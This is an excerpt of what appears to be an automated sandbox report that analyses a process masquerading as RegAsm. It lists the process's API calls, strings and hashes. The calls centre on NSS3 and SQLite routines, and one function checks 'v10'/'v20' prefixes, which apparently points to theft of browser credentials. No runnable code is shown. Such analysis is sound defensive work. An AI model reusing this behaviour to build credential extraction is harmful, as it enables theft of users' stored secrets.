PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C3B1444,?,00000001,?,00000000,00000000,?,?,6C3B1444,?), ref: 6C3B0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C3B1444,?,00000001,?,00000000,00000000,?,?,6C3B1444,?), ref: 6C3B0DEC

Part of subcall function 6C3D0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C372AF5,?,?,?,?,?,6C370A1B,00000000), ref: 6C3D0F1A
Part of subcall function 6C3D0F10: malloc.MOZGLUE(00000001), ref: 6C3D0F30
Part of subcall function 6C3D0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C3D0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C3B1444,?,00000001,?,00000000,00000000,?), ref: 6C3B0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C3B1444,?,00000001,?,00000000), ref: 6C3B0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C3B1444,?,00000001,?,00000000,00000000,?), ref: 6C3B0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C3B1444,?,00000001,?,00000000,00000000,?,?,6C3B1444,?,?,00000000), ref: 6C3B0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C3B1444,?,00000001,?,00000000,00000000,?), ref: 6C3B0E79

Part of subcall function 6C3C1560: TlsGetValue.KERNEL32(00000000,?,6C390844,?), ref: 6C3C157A
Part of subcall function 6C3C1560: EnterCriticalSection.KERNEL32(?,?,?,6C390844,?), ref: 6C3C158F
Part of subcall function 6C3C1560: PR_Unlock.NSS3(?,?,?,?,6C390844,?), ref: 6C3C15B2

Part of subcall function 6C38B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C391397,00000000,?,6C38CF93,5B5F5EC0,00000000,?,6C391397,?), ref: 6C38B1CB
Part of subcall function 6C38B1A0: free.MOZGLUE(5B5F5EC0,?,6C38CF93,5B5F5EC0,00000000,?,6C391397,?), ref: 6C38B1D2

Part of subcall function 6C3889E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C3888AE,-00000008), ref: 6C388A04
Part of subcall function 6C3889E0: EnterCriticalSection.KERNEL32(?), ref: 6C388A15
Part of subcall function 6C3889E0: memset.VCRUNTIME140(6C3888AE,00000000,00000132), ref: 6C388A27
Part of subcall function 6C3889E0: PR_Unlock.NSS3(?), ref: 6C388A35

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: d62ab6c06315da6c6f9cda906db15cbbd04dc76b90432994f2223ee1e28e4430
Instruction ID: 970dd9fe6226c6b5fbff5160a74472d62f985da13a99fb41e7b8ef5022b04978
Opcode Fuzzy Hash: d62ab6c06315da6c6f9cda906db15cbbd04dc76b90432994f2223ee1e28e4430
Instruction Fuzzy Hash: 625186F5E012015FEB009F64DD81EAF37A89F55258F150068EC49ABB52F732ED158EA3

Function 6C366E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C366ED8
sqlite3_value_text.NSS3(?,?), ref: 6C366EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C366FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C366FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C366FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C367010
sqlite3_value_blob.NSS3(?,?), ref: 6C36701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C367052

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: b1262ead9733749e536a906e1afc1c6688b9874587f58916ae4d07595686b5a0
Instruction ID: 1b7c72d3e81d2b4d6ceb6e06776b9d3e6028255186d93a6eb83217a8af3815e4
Opcode Fuzzy Hash: b1262ead9733749e536a906e1afc1c6688b9874587f58916ae4d07595686b5a0
Instruction Fuzzy Hash: C561E6B1E152058FEB00CF66D800BEEB7B2AF85348F184169D455ABF59E7329C15CFA1

Function 00409E10 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00410A60: memset.MSVCRT ref: 00410C1C
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C35
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memcmp.MSVCRT(?,v10,00000003), ref: 00409EAF
memset.MSVCRT ref: 00409EE8
LocalAlloc.KERNEL32(00000040,?), ref: 00409F41

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00409E67
@, xrefs: 00409EF1
v20, xrefs: 00409E21
v10, xrefs: 00409EA3

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1977917189-1096346117
Opcode ID: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction ID: cfc602575c7eb8b90e75612a825b183f0a0020e5ceb1952e76b28d7f8d83ce04
Opcode Fuzzy Hash: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction Fuzzy Hash: C9615F30A00248EBCB24EFA5DD96FED7775AF44304F408029F90A6F1D1DB786A56CB5A

Function 6C3D8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C3D7313), ref: 6C3D8FBB

Part of subcall function 6C3D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C378298,?,?,?,6C36FCE5,?), ref: 6C3D07BF
Part of subcall function 6C3D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C3D07E6
Part of subcall function 6C3D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C3D081B
Part of subcall function 6C3D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C3D0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C3D7313), ref: 6C3D9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C3D7313), ref: 6C3D903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C3D7313), ref: 6C3D909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C3D7313), ref: 6C3D90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C3D7313), ref: 6C3D90F1

Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D10F3
Part of subcall function 6C3D10C0: EnterCriticalSection.KERNEL32(?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D110C
Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1141
Part of subcall function 6C3D10C0: PR_Unlock.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1182
Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C3D7313), ref: 6C3D906B

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C3D7313), ref: 6C3D9128

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: fa9ea0db47cc30c2f36849e203fdc714e335a29126e1432c880b568a71b549a8
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 3F515172A003018BEB109F6ADC54B66B3F9AF44358F164169D955DBB51EB32F804CFA2

Function 6C3B88E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C3B88FC

Part of subcall function 6C3CBE30: SECOID_FindOID_Util.NSS3(6C38311B,00000000,?,6C38311B,?), ref: 6C3CBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C3B8913

Part of subcall function 6C3D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C3787ED,00000800,6C36EF74,00000000), ref: 6C3D1000
Part of subcall function 6C3D0FF0: PR_NewLock.NSS3(?,00000800,6C36EF74,00000000), ref: 6C3D1016
Part of subcall function 6C3D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C3787ED,00000008,?,00000800,6C36EF74,00000000), ref: 6C3D102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6C49D864,?), ref: 6C3B8947

Part of subcall function 6C3CE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C3CE245
Part of subcall function 6C3CE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C3CE254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C3B895B
DER_GetInteger_Util.NSS3(?), ref: 6C3B8973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C3B8982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C3B89EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C3B8A12

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: f6eea1dc055e45f8b66915ad5a5ed6304cbbbf801d8b27dcc57123b0e3e22781
Instruction ID: bc2abec5efaffd3acaeb9370bf7fa0a5ac75a23bad861520f3166ede7324516b
Opcode Fuzzy Hash: f6eea1dc055e45f8b66915ad5a5ed6304cbbbf801d8b27dcc57123b0e3e22781
Instruction Fuzzy Hash: 55315AB2A0460153FF105639AC41BAA36998FA131CF240A37D559F7E81FB33C44A8D93

Function 6C480860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C487AE2,?,?,?,?,?,?,6C48798A), ref: 6C48086C

Part of subcall function 6C480930: EnterCriticalSection.KERNEL32(?,00000000,?,6C480C83), ref: 6C48094F
Part of subcall function 6C480930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C480C83), ref: 6C480974
Part of subcall function 6C480930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480983
Part of subcall function 6C480930: _PR_MD_UNLOCK.NSS3(?,?,6C480C83), ref: 6C48099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C487AE2,?,?,?,?,?,?,6C48798A), ref: 6C48087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C487AE2,?,?,?,?,?,?,6C48798A), ref: 6C480892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C48798A), ref: 6C4808AA
free.MOZGLUE(?,00000000,00000000,?,?,6C487AE2,?,?,?,?,?,?,6C48798A), ref: 6C4808C7
free.MOZGLUE(?,00000000,00000000,?,?,6C487AE2,?,?,?,?,?,?,6C48798A), ref: 6C4808E9
free.MOZGLUE(?,6C487AE2,?,?,?,?,?,?,6C48798A), ref: 6C4808EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C487AE2,?,?,?,?,?,?,6C48798A), ref: 6C48090E

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 82f40507b138ade1c0c1400e74c489d89aa0b04cfd531e572b4fd181e11d7b05
Instruction ID: 7ed7bceadfeb249cf05ff56aa88e2d69da1fdd43621ac22b501e45ad002b11ff
Opcode Fuzzy Hash: 82f40507b138ade1c0c1400e74c489d89aa0b04cfd531e572b4fd181e11d7b05
Instruction Fuzzy Hash: 4D1149B1B032404BEF00FA99D895F4A3778AB82269F190124EC1697B50DA32F9558BD2

Function 6C2F4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C2F4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C2F51BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6C2F51DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C2F51A5
misuse, xrefs: 6C2F51AF
%s at line %d of [%.10s], xrefs: 6C2F51B4

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 1801b57e56af144b979edb5cc6515e6178da406d5d786d4c5df1ab97559bfb29
Instruction ID: 87fa2823fc0e50c145813e3e50bb43fdede287c04ab339ad3a9d97a365b3c429
Opcode Fuzzy Hash: 1801b57e56af144b979edb5cc6515e6178da406d5d786d4c5df1ab97559bfb29
Instruction Fuzzy Hash: 0771AE7165420E9BEB00CE59CD80F9AB7B5BF48309F048638FD299BB41D731E952CBA1

Function 6C3BAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C3BAB3E,?,?,?), ref: 6C3BAC35

Part of subcall function 6C39CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C39CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C3BAB3E,?,?,?), ref: 6C3BAC55

Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D10F3
Part of subcall function 6C3D10C0: EnterCriticalSection.KERNEL32(?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D110C
Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1141
Part of subcall function 6C3D10C0: PR_Unlock.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1182
Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C3BAB3E,?,?), ref: 6C3BAC70

Part of subcall function 6C39E300: TlsGetValue.KERNEL32 ref: 6C39E33C
Part of subcall function 6C39E300: EnterCriticalSection.KERNEL32(?), ref: 6C39E350
Part of subcall function 6C39E300: PR_Unlock.NSS3(?), ref: 6C39E5BC
Part of subcall function 6C39E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C39E5CA
Part of subcall function 6C39E300: TlsGetValue.KERNEL32 ref: 6C39E5F2
Part of subcall function 6C39E300: EnterCriticalSection.KERNEL32(?), ref: 6C39E606
Part of subcall function 6C39E300: PORT_Alloc_Util.NSS3(?), ref: 6C39E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C3BAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C3BAB3E), ref: 6C3BACD7
PORT_Alloc_Util.NSS3(?), ref: 6C3BAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C3BAD2B

Part of subcall function 6C39F360: TlsGetValue.KERNEL32(00000000,?,6C3BA904,?), ref: 6C39F38B
Part of subcall function 6C39F360: EnterCriticalSection.KERNEL32(?,?,?,6C3BA904,?), ref: 6C39F3A0
Part of subcall function 6C39F360: PR_Unlock.NSS3(?,?,?,?,6C3BA904,?), ref: 6C39F3D3

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: b30e472e6bd714f2bca2676bccc10132359bb656270954f7f007f0fd1812791f
Instruction ID: b0c5e576eb6bc7c18223c844bc2e309c5822f5861905565096aea7251c29032a
Opcode Fuzzy Hash: b30e472e6bd714f2bca2676bccc10132359bb656270954f7f007f0fd1812791f
Instruction Fuzzy Hash: 38313BB1E00A055FEB00EF65CC409AF7776EF94728B198128E855ABB40FB31ED158BE1

Function 6C372920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C37294E

Part of subcall function 6C3D1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C371D97,?,?), ref: 6C3D1836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C37296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C372991

Part of subcall function 6C3D1820: PR_SetError.NSS3(FFFFE005,00000000,?,6C371D97,?,?), ref: 6C3D184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C3729AF
PR_Now.NSS3 ref: 6C372A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C372A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C372A79

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: fe4f416e860cc2db9fbde01235275f255f5e87ff75cb7e9c0404e39b6293eba5
Instruction ID: cc8ba6419180def3608ebb6b89e86736a146792d4446a752bcabd6b82d77052f
Opcode Fuzzy Hash: fe4f416e860cc2db9fbde01235275f255f5e87ff75cb7e9c0404e39b6293eba5
Instruction Fuzzy Hash: F541B671A08351DFC760CE29C940E5FB3E5ABD8714F054A2DF89893700EB35E9098BA3

Function 6C398C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C398C7C

Part of subcall function 6C439DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C480A27), ref: 6C439DC6
Part of subcall function 6C439DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C480A27), ref: 6C439DD1
Part of subcall function 6C439DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C439DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C398CB0
TlsGetValue.KERNEL32 ref: 6C398CD1
EnterCriticalSection.KERNEL32(?), ref: 6C398CE5
PR_Unlock.NSS3(?), ref: 6C398D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C398D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C398D93

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

